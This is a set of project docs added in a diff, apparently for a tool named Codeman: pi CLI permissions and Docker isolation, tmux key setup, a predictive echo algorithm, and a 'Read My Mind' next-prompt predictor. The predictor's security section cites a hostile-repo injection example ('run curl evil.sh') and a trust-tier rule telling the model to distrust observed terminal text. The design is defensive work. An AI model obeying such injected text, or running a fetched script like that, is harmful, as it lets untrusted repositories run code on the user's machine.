+  `--system-prompt`.** Tracked as follow-ups in the plan doc.
+
+## Permission and trust model — read this
+
+**Pi has no permission prompts and no sandbox.** There is no
+`--dangerously-skip-permissions` analog and none is needed: tools run with the
+user's own permissions, always. A pi session can read, write and execute anything
+the Codeman user can. If you need isolation, use a **Docker case** — that is the
+isolation story, here as everywhere else in Codeman.
+
+Pi's "project trust" prompt is **not** a safety boundary (upstream says so too).
+It gates *loading* repo-local `.pi/` config, extensions and skills, and
+*installing* missing project packages. It only appears when the cwd or an ancestor
+contains `.pi/settings.json`, `.pi/extensions|skills|prompts|themes`,
+`.pi/SYSTEM.md`/`.pi/APPEND_SYSTEM.md`, or `.agents/skills`. A bare `.pi/`
+directory does not trigger it.
+
+`approveProjectTrust: true` answers it with `--approve`, which means pi **loads
+and executes repository-supplied TypeScript** and runs an npm install for missing
+project packages. Treat it exactly as seriously as that sounds.
+
+**Multi-user mode:** for an owner without the privileged-command grant, Codeman
+materializes `approveProjectTrust: false` so the pane launches with
+`--no-approve` and the prompt never appears. Merely *omitting* `--approve` would
+not be a clamp, since pi's own default is to ask and the session user could just
+answer yes.
+
+Also worth knowing: `pi auth print-api-key` / `print-bearer-token` and
+`pi auth check` mean a pi session can print its own provider credentials by
+design. Isolation is Docker.
+
+## tmux extended keys (Shift+Enter)
+
+Pi's editor uses `Shift+Enter` / `Ctrl+Enter` for newline-vs-submit. Without
+extended keys, tmux collapses both into a plain `\r`. Upstream recommends:
+
+```tmux
+set -g extended-keys on
+set -g extended-keys-format csi-u
+```
+
+`extended-keys-format` needs tmux 3.5+; on 3.2–3.4 `extended-keys on` alone works
+(pi falls back to xterm `modifyOtherKeys`).
+
+Codeman's browser input path sends `\r` for submit, so basic use works
+unconfigured — what degrades is newline-in-editor, mostly when you attach to the
+pane directly (`sc`).
+
+⚠️ Upstream notes the setting may need a full `tmux kill-server` to take effect.
+**Never run `tmux kill-server` on Codeman's socket** — it would kill every live
+session, `w1`/`w2`/`w3` included.
+
+**Measured (tmux 3.4, pi 0.84.1): no `kill-server` is needed.** Setting the option
+server-scoped on Codeman's own socket takes effect on the ALREADY-RUNNING server;
+the next pi session starts without the warning. Existing sessions keep the old
+setting until they respawn.
+
+```bash
+tmux -L codeman set -s extended-keys on
+tmux -L codeman set -s extended-keys-format csi-u   # tmux 3.5+ only, see below
+tmux -L codeman show-options -s | grep extended     # verify
+```
+
+On **tmux 3.4 and older, `extended-keys-format` does not exist** and the second
+line fails with `invalid option: extended-keys-format`. That is harmless — pi
+falls back to xterm `modifyOtherKeys` and `extended-keys on` alone silences the
+warning. Run the two lines independently rather than chained.
+
+Pi tells you which state it is in: an unconfigured session prints
+`Warning: tmux extended-keys is off. Modified Enter keys may not work.` in its
+startup banner, so you can verify the change by starting a new pi session.
+
+⚠️ Use `-L <socket>` and `-s`, never `-g` on your default socket, and never
+`kill-server`. Codeman does not set this for you: it is a server-wide tmux option
+and silently changing key encoding for every session of every backend is not
+Codeman's call to make.
+
+## Typing from the browser (local echo)
+
+On touch devices Codeman buffers typed characters in the `LocalEchoOverlay` and
+flushes them to the PTY on Enter. Pi gets that `'buffer'` policy, the same as
+Claude, Gemini and OpenCode.
+
+This was an explicit open question, because that policy is exactly what broke
+Codex (issues #218/#219/#220/#222): Codex's composer reacts per keystroke, so
+buffer-until-Enter starved it. **Measured against pi 0.84.1: it does not
+reproduce.** Pi's slash-command picker re-filters on the whole composer content
+rather than on per-keystroke deltas, so a one-shot flush of `/set` filters the
+picker down to `settings` identically to typing it character by character, and
+the delayed `\r` then selects it. Prose prompts flush and submit correctly too.
+
+If a future pi release changes that, the cheap fallback is one `'off'` branch in
+`_updateLocalEchoState` (terminal-ui.js); teaching `PredictiveEchoAddon` pi's
+composer row is the larger follow-up.
+
+## Docker cases
+
+The agent image (`docker/agent.Dockerfile`) installs pi in its own `RUN` step with
+`--ignore-scripts`, kept out of the shared npm block so the flag cannot change how
+the other four CLIs install. Rebuild with:
+
+```bash
+node scripts/build-agent-image.mjs --no-cache   # --no-cache is mandatory
+```
+
+Credentials are **seeded**, not shared: `~/.pi/agent/auth.json`, `settings.json`,
+`trust.json`, `models.json` and `models-store.json` are mounted read-only and
+copied into the container's own `~/.pi/agent`. So an in-container pi never writes
+refreshed OAuth tokens back to the host, and `docker commit` exports stay
+secret-free. `models.json` is in the list because it holds user-defined custom
+providers, which would otherwise silently vanish inside containers.
+
+Only those five files are seeded because `~/.pi/agent` also holds `sessions/`,
+`extensions/`, `skills/` and the installed package trees (`npm/`, `git/`), which
+on an active host is easily gigabytes.
+
+**Trade-off:** in-container pi sessions are invisible host-side, so `pi -c` inside
+a Docker case only sees that container's own history.
+
+## Remote SSH cases
+
+`pi` mode is routed through an interactive login shell
+(`exec "$SHELL" -i -l -c 'pi'`), because sshd's remote-command PATH does not
+include npm's global bin on most hosts. Per-session config and `envOverrides` do
+not cross ssh and are rejected rather than silently ignored; use the per-host
+command override instead.
+
+## Known gaps
+
+- **No idle/completion hook.** Pi has no hook system Codeman can install into, so
+  idle detection falls back to output-stabilization like the other external CLIs.
+  Pi 0.84.0 shipped an `agent_settled` extension event that is a genuine idle
+  signal; a Codeman pi extension using it is the highest-value follow-up.
+- **No response viewer.** Pi writes JSONL v3 session files under
+  `~/.pi/agent/sessions/`; nothing reads them yet.
+- **Cron jobs mis-detect readiness.** The cron readiness poll looks for `❯` or a
+  token count, neither of which pi prints, so a pi cron job burns its poll budget
+  and then sends the prompt anyway. It works; it is just slower to start.
+- **Ralph, respawn heuristics, token/CLI-info parsing and the `❯` readiness probe
+  are off** for pi, as for every external CLI.

+# Predictive write-through echo for codex

+Zero-lag local echo for codex sessions via a second, mosh-style mode in the

+xterm's parser ran), which converges to the same cells no matter how the bytes
+arrived. The Phase 0 recordings prove the point twice over: tmux converts
+codex's full-line redraws into minimal in-place deltas (an echo arrives as
+`e\x1b[K\x1b[20;80H...`), and codex itself paints word gaps with ECH+cursor-forward
+instead of spaces. Stream matching can never survive that; buffer diffing does
+not care.
+
+## Phase 0 measurements (codex-cli 0.147.0 via tmux, 100x30, 2026-08-09)
+
+Recorded with `scripts/dev/record-codex-frames.mjs` (production pipeline:
+codex inside tmux `status off`, chunks passed through the same full strip
+`session.ts _handleTerminalOutput()` applies to codex mode). Fixtures in
+`packages/xterm-zerolag-input/test/fixtures/codex/`; replay/measure with
+`scripts/dev/analyze-codex-frames.mjs <fixture>`.
+
+| Question              | Measured answer                                                                                                                                                              |
+| --------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| Composer signature    | Cursor row starts `"› "` (U+203A + space), text begins col 2. Present when empty (placeholder), while typing, and while the slash picker filters. `CODEX_COMPOSER_ROW_RE = /^› /` |
+| Composer text color   | Plain default foreground, zero SGR around echoed chars. Span `foregroundColor` default (theme fg) is an exact match                                                            |
+| Placeholder           | Cycling hint text ("Use /skills...", "Improve documentation in @filename", ...) rendered AT the cursor cell. First prediction lands over placeholder glyphs: covered by the snapshot + cursor-advance rules |
+| Wrap                  | Word-wrap near `cols - 2`; continuation rows are indented 2 spaces WITHOUT `› `. The gate therefore suppresses predictions on wrapped lines: deliberate fallback to real echo, wrap was the #220 ghost zone. `edgeMarginCells = 4` |
+| Modal (trust dialog)  | Cursor parks on `"  Press enter to continue"`: no `› ` prefix, gate false, zero predictions painted while keystrokes still reach the PTY (the ghost eliminator)                 |
+| Streaming             | Error/reconnect bursts render above a re-rendered composer that keeps the `› ` signature; end-of-frame cursor parks at the insertion point (col 2 of the composer row). Confirms the cursor-advance confirm rule and the no-drop-on-baseY rule |
+| Echo shape under tmux | tmux emits minimal deltas for simple echoes and full repaints for busy frames; both converge in the parsed buffer                                                              |
+| Slash picker          | Picker rows render below; the cursor row keeps the composer signature and advances per filter char, so predictions stay active while filtering (#222 surface)                 |
+
+Constants decided at the Phase 0 gate: `CODEX_COMPOSER_ROW_RE = /^› /`,
+`ttlMs = 1000`, `maxPending = 32`, `cursorGraceMs = 150`, `edgeMarginCells = 4`,
+span colors = theme defaults, `underlinePredictions = false`.
+
+## Algorithm
+
+See `PredictiveEchoAddon` in
+`packages/xterm-zerolag-input/src/predictive-echo-addon.ts`. Summary of the
+rules and why each exists:
+
+- **State**: ordered `PredictionRecord[]` (`seq`, `char`, `width`, cumulative
+  `offsetCells`, `snapshot` of the cell at predict time, `sentAt`,
+  `mismatches`), plus a run `_anchor {row, col}` captured when the outstanding
+  count goes 0 -> 1. Positions are FIXED at predict time; confirmation deletes
+  spans and never re-lays-out, so partial confirmation causes zero jitter.
+- **predictChar(ch)** runs an inline reconcile first and re-anchors whenever
+  outstanding drains to zero (absorbs the echo-landed-between-keystrokes race).
+  Guards: dims present, cursor numbers present, `viewportY === baseY`,
+  `predictWhen` gate, single codepoint >= 0x20 (not 0x7f), width <= 2,
+  `maxPending`, edge margin. Returns false = suppressed; the consumer sends the
+  keystroke regardless.
+- **Coordinate base is `baseY`**: xterm's `cursorY` is baseY-relative, so
+  absolute buffer line = `baseY + row`. `viewportY` would only coincide while
+  the scrolled-to-bottom guards hold; the addon never relies on that.
+- **reconcile()** (debounced `onWriteParsed` microtask, inline in predictChar,
+  TTL timer): clears everything when scrolled up; off-anchor-row cursor
+  tolerated for `cursorGraceMs` then clears; PREFIX-ONLY confirm loop requiring
+  cell match AND cursor advanced past the record (prevents false confirms
+  against placeholder glyphs and makes identical in-place tmux repaints a
+  no-op); TWO-PASS mismatch rule (a cell that is neither snapshot nor predicted
+  char must persist across two passes before cascading the drop: a half-parsed
+  row on pass N is fully redrawn a few ms later); TTL drop of the stale suffix.
+- **No drop on baseY change**: codex streams push lines to history while the
+  composer stays viewport-pinned; predictions are row-relative to the pinned
+  composer and remain valid (measured above).
+- **Anchor hold** (added by the independent post-build review): after any wire
+  input whose cursor effect the display has not shown yet (backspace with
+  nothing outstanding = deleting echoed text, every 'clear'-classified input,
+  an IME/plain-paste 'text' commit, and the bypass send paths), new
+  predictions are suppressed until the next PARSED write. Anchoring on the
+  stale cursor painted ghosts one cell off ("tehh" on backspace-then-retype
+  within RTT), blank-neutral and therefore TTL-lived. Worst case is exactly
+  one unpredicted keystroke: its own echo is a write, which releases the hold.
+- **predictBackspace()** pops the newest outstanding record (informational
+  return; the consumer forwards `\x7f` unconditionally). Deleting already-echoed
+  text renders at RTT in v1.
+- **CJK/wide**: 2-cell spans, stacking by cumulative visual width, leading-cell
+  confirm. In Codeman, IME input never reaches the hook (`window.cjkActive`
+  returns from onData first); package support exists for other consumers.
+
+## Integration map (Codeman)
+
+- Policy: `_localEchoPolicy` (`'buffer' | 'predict' | 'off'`) computed at the
+  end of `_updateLocalEchoState()`; codex + `localEchoEnabled` -> `'predict'`
+  while `_localEchoEnabled` stays false (every 1.12.2 consumer unchanged).
+- onData hook sits between the buffer block and Normal Mode, classifies via
+  `classifyPredictInput()` (pure, on `window.CodemanTerminalInput`), never
+  returns, try/catch-wrapped: the wire path below is byte-identical with the
+  predictor active, absent, or throwing.
+- Composer gate: `isCodexComposerRow()` set via `setPredictWhen()` at
+  construction (the vendor footer stays package-agnostic).
+- Second vendor bundle `vendor/xterm-predictive-echo.js` (postinstall + build);
+  the zerolag bundle build command is untouched and its output byte-identical.
+  Missing/broken bundle = plain 1.12.2 echo (`typeof PredictiveEchoOverlay ===
+  'undefined'` guard).
+- Prediction clears on: tab switch, SSE reconnect init, `insertTerminalText`,
+  `clearTerminalInput`, voice send, keyboard-accessory `sendKey`, resize, skin
+  and font changes re-read style via `refreshFont()`.
+
+## Risk register
+
+Eliminated structurally: other-mode regression (zero edits to buffer
+addon/branches, byte-identical existing bundle, policy-matrix + byte-identity
+tests); bundle breakage (separate bundle, graceful degradation); wire
+corruption (no-return fall-through + try/catch + byte-identity pins at vm and
+E2E level); modal ghosts (measured predictWhen gate); false confirms
+(cursor-advance rule); mid-parse flicker drops (two-pass rule); wrap
+misplacement (edge margin + continuation-row gate fallback + off-row grace).
+
+Accepted residuals (visual-only, self-healing <= ttlMs, kill-switchable via
+`localEchoEnabled` per device): no predictions on wrapped continuation lines
+(gate false there, deliberate); brief dropout during composer growth; DOM-span
+vs WebGL glyph rendering can differ subtly (same trade-off as the buffer
+overlay, same font recipe); typing during an unsynchronized half-frame can
+mis-anchor one run (mismatch/TTL cleans within 1s).
+
+## Future work
+
+RTT-adaptive TTL; mosh-style confidence gating (paint only after the link
+proves laggy); predicted backspace into echoed text; predict mode for shell
+prompts; unifying the small font/container duplication between the two addons
+once predict mode has proven out; continuation-line prediction behind a
+smarter composer-extent detector.

+# Read My Mind (design)
+
+A 🧠 button that predicts the prompt you were about to type. Codeman keeps a per-case **intent profile** (your stated goals plus the real prompts you recently sent), feeds it and the live pane tail to a one-shot `claude -p`, and shows the predicted next prompt in a plan-mode-style approval dialog: **Send** / **Rethink** (with an optional steer note) / **Insert** (drop it on the composer to edit) / **Dismiss**. It is also a skill surface: the agent can read the intent profile, record intentions, and request a prediction over the HTTP API. Suggestions are **never auto-sent**; the human click is the boundary.
+
+## UX flow
+
+1. User hits 🧠 (desktop header button; phone: keyboard-accessory key).
+2. Modal opens with a spinner, then the top suggestion in an editable single-line field, rationale below it, up to 2 alternates as tappable rows.
+3. Buttons: **Send** (submits with `\r`), **Insert** (sends without `\r`, so the text sits unsubmitted on the CLI composer for editing, a documented mechanism), **Rethink** (optional free-text steer, e.g. "no, I meant the mobile bug", re-runs with the rejected suggestions included), **Dismiss**.
+4. Accepted prompts flow back into the intent history like any other sent prompt, so the profile self-corrects.
+
+## Scope (v1)
+
+- Claude mode only (capture rides Claude transcripts; external CLIs have no transcript watcher). Mirrors the approvals-inbox scoping.
+- Opt-in: `readMyMindEnabled`, synced, default **OFF**. While OFF: no capture, no UI surfaces. Privacy first, and every press costs real tokens.
+- One prediction in flight per session; the button disables while checking.
+- Sync request/response (the predictor takes 5-30s; agent-wait long-polls already hold requests longer). No new SSE events in v1.
+
+## Data model
+
+Per case, not per session: intentions outlive `/clear` and respawns.
+
+```ts
+interface IntentProfile {
+  key: string;              // sha256(owner + ':' + realpath(workingDir)).slice(0, 16)
+  workingDir: string;
+  updatedAt: number;
+  goals: string;            // freeform markdown, user/agent editable, ≤ 8 KB
+  recentPrompts: { ts: number; sessionId: string; text: string }[]; // FIFO cap 50, each ≤ 500 chars
+}
+```
+
+Storage: `dataPath('intents.json')`, written mode 0600 (prompts can contain secrets; same posture as `users.json`). Never enters the `/api/search` index. Add to the CLAUDE.md State Files list.
+
+## Intent capture
+
+**Source: the session transcript, not the input paths.** `POST /api/sessions/:id/input` sees only programmatic input, and the WS channel delivers raw keystrokes (`session.write(msg.d)`), so neither yields clean submitted prompts. Claude's own JSONL transcript records every user turn as structured text, and `transcript-watcher.ts` already tails it. Add a `userPrompt` event there:
+
+- Emit for `type: 'user'` entries whose content is a string or contains a text block; skip entries that are only `tool_result` blocks (tool results are wrapped as user messages).
+- Skip `<command-name>` / `<local-command-stdout>` tagged entries (local slash-command echo, not intent).
+- Skip texts < 3 chars (menu digits, Esc artifacts), truncate to 500, drop consecutive duplicates ("continue" spam from auto-resume stays but dedupes).
+
+`IntentStore` (new `src/intent-store.ts`, pure core + IO wrapper, in the style of `session-order.ts`) subscribes via session wiring, gated on the setting resolved from **merged** settings per the partial-PUT rule.
+
+## Context assembly (how the mind reading actually works)
+
+The quality of the suggestion is decided before the model ever runs, by what we put in front of it. A new pure function `buildPredictionContext()` (in `src/readmymind-context.ts`, unit-testable with fixtures, no IO of its own; collectors inject their data) assembles a budgeted, priority-ordered prompt from every signal Codeman already has:
+
+| # | Source | What it contributes | Cap |
+| - | ------ | ------------------- | --- |
+| 1 | **Pending dialog** (approvals-inbox store, when present) | If the session is sitting on an AskUserQuestion / permission / idle prompt, the honest "next prompt" is an *answer*. The dialog text + parsed options go in first and the model is told to answer it. | 2 KB |
+| 2 | **User goals** (`goals` from the intent profile) | The only fully-trusted statement of what the user wants. Highest authority in the trust ranking below. | 8 KB |
+| 3 | **Last assistant turn** (transcript, not the pane) | Assistant replies usually *end* with the fork in the road ("Want me to X?", "Next steps: ..."), so keep the **tail** when truncating. The transcript has the full message; the pane is a repaint window full of spinner junk. | 6 KB |
+| 4 | **Recent user prompts** (intent profile, with timestamps) | The conversation rhythm AND the user's prompting voice: length, tone, shorthand (`COM`, lowercase, typos and all). The model is instructed to write suggestions in *this* style, not assistant-ese. | last 20 |
+| 5 | **Recent tool activity** (transcript `tool_use` blocks, already parsed by `TranscriptWatcher`) | One line per call: `Edit src/foo.ts`, `Bash npm test (failed)`. What the agent actually *did*, which the last message may summarize away. | last 10 |
+| 6 | **Workspace signals** (`collectWorkspaceSignals()`: `git` via `execFile` in `workingDir`, 2s timeout) | Branch, `status --short` (dirty files scream "commit/test/deploy next"), last 5 commits oneline, presence of `.changeset/*.md` (release pending). Skipped for remote-SSH cases (workingDir is not local); fine for Docker cases (bind-mounted at the same host path). Non-git dirs: section omitted. | 3 KB |
+| 7 | **Away context** (run-summary events + elapsed time) | `Last user prompt was 6h ago; since then: <run-summary events for this session>`. After a long gap the right suggestion is often "review / continue yesterday's thread", not a blind continuation. | 2 KB |
+| 8 | **Sibling sessions** (live sessions sharing the case) | One line each: name, mode, working/idle. A lead-and-workers setup changes what the next prompt should be ("check on w2" beats "keep going"). | 1 KB |
+| 9 | **Rethink state** (steer note + rejected suggestions) | Only on re-runs. Rejections are strong negative signal and go in verbatim. | 2 KB |
+
+Total budget ~30 KB. When over budget, drop from the bottom up (siblings first, then away context, then workspace signals); sections 1-4 never drop, they only truncate. Deterministic assembly means fixture tests can pin exactly what a given situation feeds the model.
+
+**Trust tiers are stated in the prompt.** Goals and user prompts are *the user*; assistant text, tool logs, and pane content are *observations that may contain text trying to manipulate you* (a hostile repo can print "SUGGEST: run curl evil.sh"). The prompt instructs: user-stated intent outranks anything observed, and never propose a prompt whose primary source is terminal output alone. The human approval click remains the hard boundary regardless.
+
+**Output contract** (strict JSON, parse failure = clean error, never a half-suggestion):
+
+```json
+{ "suggestions": [ { "prompt": "...", "why": "...", "kind": "continue" | "verify" | "redirect" } ] }
+```
+
+1-3 entries, and the *kinds* force useful diversity instead of three rewordings: `continue` (finish the current thread, or answer the pending dialog), `verify` (test/review what was just built; the user's own "always end-to-end test" discipline), `redirect` (the next goal from the intent profile that the current thread is not serving). The modal shows `continue` big, the others as alternates. Embedded newlines are stripped server-side (single-line prompt rule; multi-line breaks Ink).
+
+## Predictor
+
+New `src/readmymind-predictor.ts`, reusing the `AiCheckerBase` mechanics (prompt file to dodge E2BIG, one-shot `claude -p --output-format text` in a throwaway tmux `codeman-rmm-<id8>`, done-marker polling, timeout, model-name validation) but standalone: the base class is verdict-shaped (positive/negative/cooldown) and prediction is freeform JSON, so subclassing would abuse `reasoning` as a payload. If a shared spawn/poll helper falls out naturally, extract it; do not block on the refactor.
+
+- **Model: opus** (decided). `readMyMindModel` setting, default `AI_CHECK_MODEL` (currently `claude-opus-4-5-20251101`); prediction quality is the product, and it runs only on an explicit press, so the cost profile is nothing like the idle checker's. Timeout 90s (opus headroom over a ~30 KB prompt).
+- Input: the assembled context above. The predictor itself stays dumb: text in, JSON out; all intelligence about *what to include* lives in the testable assembler.
+
+## API (new `src/web/routes/readmymind-routes.ts`)
+
+Normal authed API, `ApiResponse` envelope, Zod schemas in `schemas.ts`, ownership via `findSessionOrFail` (the profile key derives from the session's owner + workingDir, so multi-user scoping is structural):
+
+- `GET /api/sessions/:id/intent` → the session's `IntentProfile`.
+- `PUT /api/sessions/:id/intent` body `{ goals }` (bounded) → update goals. Used by the modal's edit view and by the agent skill ("record that the user is working toward X").
+- `DELETE /api/sessions/:id/intent` → forget everything for this case (the modal's "Forget" affordance).
+- `POST /api/sessions/:id/readmymind` body `{ steer?, rejected? }` → `{ suggestions }`. 409 `INVALID_STATE` while a prediction is already running for the session; claude-mode sessions only (400 otherwise, mirroring wait-signal gating).
+
+## Frontend
+
+New module `readmymind-ui.js` (@loadorder 11.3, after panels-ui.js), prettier-formatted.
+
+- **Desktop**: header button `btn-readmymind`, default-hidden via marker class `btn-readmymind--hidden` (the `!important` display rules require the marker-class pattern), shown by `applyHeaderVisibilitySettings()` when the setting is ON. Off phones per `test/mobile-header-buttons-policy.test.ts`.
+- **Phone**: a 🧠 key on the keyboard accessory bar (that bar is where input helpers live, and phones are where typing hurts most). Opens the same modal. Modal z-index respects the ≤768px layer rules (1300+).
+- **Send** goes server-side: `POST /api/sessions/:id/input` with `\r` appended. Deliberately NOT the browser keystroke path, so the `sendEnterKey` / local-echo-overlay trap never applies (the modal is UI chrome, not terminal typing). **Insert** is the same POST without `\r`.
+- i18n strings registered (en + zh-CN); suggestion text itself carries `data-i18n-skip`.
+
+## Skill integration
+
+The user-facing promise: the button is also a skill. Extend `skills/codeman`:
+
+- New section "Read My Mind: intent + prediction" with the three intent verbs (read profile, append/replace goals, predict) and the guard notes (single-line prompts, never auto-send to another session without the user asking).
+- Update `reference/endpoints.md` (the endpoints.md drift test pins this).
+- The auto-injected case copy heals via the existing marker-owned `applyAgentSkill` mechanism; nothing new needed there.
+
+Agent use cases this unlocks: a lead session records intentions as the user states them ("remember: shipping 1.16 is the goal"), and a returning user gets a prediction grounded in what the agent knew, not just raw prompt history.
+
+## Security / privacy
+
+- **The human gate is the injection mitigation**: pane output (attacker-influenceable) flows into the predictor, so its output is only ever *proposed*, rendered as text (`textContent`), and sent solely by an explicit user click. No auto-send path exists, including for the skill.
+- Intent data: 0600 file, bounded fields, per-owner keys, endpoints ownership-checked, excluded from search, cleared via DELETE.
+- Predictor spawns with the user's own credentials exactly like the AI idle/plan checkers; model name shell-validated the same way.
+- Setting OFF stops capture immediately; existing data stays until DELETE (explicit, not silent).
+
+## Tests
+
+- `test/intent-store.test.ts`: key derivation, caps/FIFO, consecutive-dupe skip, tag/tool_result filtering fixtures, 0600 mode, multi-user key separation.
+- `test/readmymind-context.test.ts`: fixture scenarios pinning the assembled prompt: pending-dialog-first ordering, tail-keeping truncation of the assistant turn, budget drop order (siblings before workspace signals), remote-case git skip, trust-tier framing present, rejected suggestions included only on rethink.
+- `test/readmymind-predictor.test.ts`: strict JSON parse, garbage output → error result, newline stripping, `kind` validation, rejected-suggestions threading into the prompt.
+- `test/routes/readmymind-routes.test.ts` (`app.inject`): CRUD round-trip, predict with a stubbed predictor, 409 while in flight, non-claude 400, ownership 404, Send/Insert byte assertions via the test-PTY echo (`\r` present vs absent).
+- Transcript capture: extend the transcript-watcher fixtures with user-turn entries.
+
+## Phases
+
+1. **Intent store + capture + intent endpoints + skill docs.** Immediately useful to agents even before any UI exists.
+2. **Context assembler + predictor + predict endpoint + desktop button/modal.** The feature as pitched. The assembler ships with all collectors it can serve from day one (transcript, intent, git, run-summary, siblings); the approvals collector activates when PR #245 lands.
+3. **Phone accessory key, rethink steering, alternates row.** Part 1 (shipped): the alternates row (tappable, swap into the field without losing edits; Rethink rejects the whole shown set), the phone 🧠 keyboard-accessory key (both bar templates, `rmm-enabled` marker class on the bar), and a phone-sized modal (small dialog, not full-screen). Part 2 (shipped): rethink steering, the free-text steer note under the suggestions, sent as `steer`, visible whenever Rethink is live (ready and empty-result phases), cleared on each open; the empty-result copy points at the note, and the footer buttons moved to the styled `btn-toolbar` convention (the bare `btn btn-*` classes they shipped with match no CSS in this codebase and rendered as unstyled UA buttons).
+4. Explicitly later: proactive predict-on-idle (ghost suggestion chip), auto-compaction of `recentPrompts` into `goals` via a cheap model, codex/gemini capture, cross-case "global" intent.
+
+## Open questions
+
+- Should Rethink's rejected-suggestion memory persist across modal closes, or reset each open?
+- Is a composer-adjacent placement (next to the toolbar Run controls) better than the header for discoverability?
+- Pending-dialog input (source #1) consumes the approvals-inbox store (PR #245, merged): the phase-2 collector reads pending items directly from `src/approval-inbox.ts`.
+
+## Docs
+
+- CLAUDE.md: Key Patterns entry, State Files (`intents.json`), frontend load order, route count.
+- `docs/api-reference.md`: four endpoints (additive under the 0.9.x contract).
+- `skills/codeman/reference/endpoints.md`: new rows (drift-test enforced).

+# Read My Mind
+
+Codeman's per-case memory of what you are trying to accomplish, and the 🧠 button that turns it into a predicted next prompt. Each case gets an **intent profile**: a freeform `goals` text (written by you or your agent) plus the prompts you actually submitted, captured automatically while the feature is on. Pressing 🧠 feeds that profile and the live session signals to a one-shot model call and shows the predicted prompt for you to send, edit, or rethink. Nothing is ever sent to a session automatically. Design doc: [`readmymind-plan.md`](readmymind-plan.md).
+
+## What it does
+
+- Captures the prompts you submit in Claude sessions into a per-case history (50 most recent, bounded).
+- Lets you (or your agent) record explicit goals per case.
+- Predicts your next prompt on demand (the 🧠 header button, or `POST .../readmymind` for agents): the suggestion arrives in a modal with Send / Insert / Rethink / Dismiss.
+- Exposes the profile over the HTTP API, and to agents through the `codeman` skill, so an agent can ground its work in what you actually want instead of guessing from the last screenful.
+
+## Turning it on
+
+App Settings → Header & Panels → Cross-session features → **Read My Mind** (synced setting `readMyMindEnabled`, default **OFF**). It gates everything: capture, the header button, and nothing shows anywhere while it is off. The API equivalent:
+
+```bash
+curl -sk -X PUT https://localhost:3000/api/settings \
+  -H 'Content-Type: application/json' \
+  -d '{"readMyMindEnabled": true}'
+```
+
+Add `-u user:password` if your install has `CODEMAN_PASSWORD` set, and drop `-k`/use `http://` for a plain-HTTP dev server. Turning it OFF stops capture immediately; existing profiles stay until you delete them (below).
+
+## The 🧠 button
+
+On a Claude session, press the brain button in the header (desktop) or the 🧠 key on the keyboard accessory bar (phones and tablets; it appears when the setting is on). Codeman assembles everything it already knows: your goals, your recent prompts (with your voice: length, tone, shorthand), the tail of the last assistant reply, recent tool activity, git state (branch, dirty files, pending changesets), how long you have been away and what happened meanwhile, sibling sessions in the same case, and any dialog the session is currently waiting on. A one-shot model call (opus by default, `readMyMindModel` to override) turns that into 1-3 suggestions; the top one lands in an editable field with its rationale, and the others render as tappable alternate rows: tap one to swap it into the field (edits you already made are kept on the row you leave).
+
+- **Send** submits it to the session (with Enter).
+- **Insert** drops it on the CLI composer *without* Enter, so you can edit it in the terminal before sending.
+- **Rethink** re-runs with everything shown (the field and the alternates) recorded as rejected. An optional steer note below the suggestions ("no, I meant the mobile bug") rides along as your own words, the highest-authority signal the predictor gets; it stays in the field across re-runs until you clear it or reopen the modal.
+- **Dismiss** closes; nothing happens.
+
+A prediction takes 5-90 seconds and costs real tokens; one runs per session at a time. If the session is sitting on a permission/question dialog, the suggestion is usually an answer to that dialog: that is intentional.
+
+**Security note**: the prediction reads observable content (assistant output, tool logs, git output) which a hostile repo could try to steer. The predictor is told user-stated intent outranks anything observed, and, more importantly, a suggestion is only ever *proposed*: your click is the boundary. No auto-send path exists, including for agents.
+
+## What gets captured, exactly
+
+Capture reads the Claude session transcript, not your keystrokes: when a user turn lands in the transcript, its text is folded into the case's profile. Filters applied on the way in:
+
+- **Claude-mode sessions only.** Shell, OpenCode, Codex, Gemini, Antigravity, and Pi sessions are never captured (they have no transcript watcher).
+- Tool results, local slash-command echo (`/model` and friends), system wrappers, and interrupt markers are skipped.
+- Entries shorter than 3 characters are skipped (menu digits, Esc artifacts).
+- Consecutive duplicates collapse (auto-resume's "continue" spam counts once per run).
+- Each prompt is stored as one line, truncated to 500 characters; the history caps at 50 prompts FIFO.
+
+Because the transcript path arrives via Claude Code hooks, capture needs hooks to reach the server, the same condition as hook-based idle detection. Docker cases against a loopback-only server need `CODEMAN_DOCKER_BRIDGE_HOOKS=1`; remote-SSH cases do not capture.
+
+## What is never captured
+
+- Anything while `readMyMindEnabled` is OFF (capture is not retroactive).
+- Terminal output, keystrokes, passwords typed into shells: only submitted Claude prompts are read.
+- Nothing leaves the machine beyond the model call you explicitly trigger, and profiles are never fed into `/api/search`.
+
+## Where it lives, and how to wipe it
+
+Profiles live in `~/.codeman/intents.json`, written atomically at mode 0600 (captured prompts can contain secrets). The file is per Codeman instance. Keys derive from owner + the case's resolved working directory, so profiles survive `/clear`, respawn cycles, and session churn, and in multi-user mode two owners of the same directory get separate profiles.
+
+Forget one case: `DELETE /api/sessions/:id/intent` (below). Forget everything: stop the server and delete `~/.codeman/intents.json`.
+
+## The API
+
+Four endpoints, session-scoped so ownership is enforced by the session itself (`/api/v1/` aliases work too; full spec in [`api-reference.md`](api-reference.md)):
+
+```bash
+# Read the profile for a session's case
+curl -sk https://localhost:3000/api/sessions/$SID/intent | jq '.data.intent'
+
+# Record goals (REPLACES the text: read + merge if you want to append)
+curl -sk -X PUT https://localhost:3000/api/sessions/$SID/intent \
+  -H 'Content-Type: application/json' \
+  -d '{"goals":"ship 1.17; then mobile polish"}'
+
+# Forget the case
+curl -sk -X DELETE https://localhost:3000/api/sessions/$SID/intent
+
+# Predict the next prompt (claude-mode only; takes 5-90 s)
+curl -sk -X POST https://localhost:3000/api/sessions/$SID/readmymind \
+  -H 'Content-Type: application/json' -d '{}' | jq '.data.suggestions'
+```
+
+A case with nothing recorded answers an empty profile with `updatedAt: 0`; reads never persist anything. Goals cap at 8192 characters and the schema is strict, so unknown fields or over-long goals answer `400 INVALID_INPUT`. A session you do not own answers `404 NOT_FOUND`, indistinguishable from a nonexistent one. Predict answers `{ suggestions: [{ prompt, why, kind }], durationMs }` (`kind`: `continue` / `verify` / `redirect`), `409 CONFLICT` while one is already running, `400 INVALID_INPUT` on non-claude sessions, and `502 OPERATION_FAILED` when the model produced no usable JSON. The rethink flow passes `{"steer":"…","rejected":["…"]}`.
+
+## For agents (the skill)
+
+The `codeman` agent skill documents the same verbs (SKILL.md §3 plus `reference/endpoints.md`), with the ground rules: read the profile to understand what the user wants, record goals the user actually stated, merge instead of blind-writing (PUT replaces), never delete a profile unprompted, and never send a predicted suggestion into a session unless the user asked. It is the user's memory, not the agent's.
+
+## What comes next
+
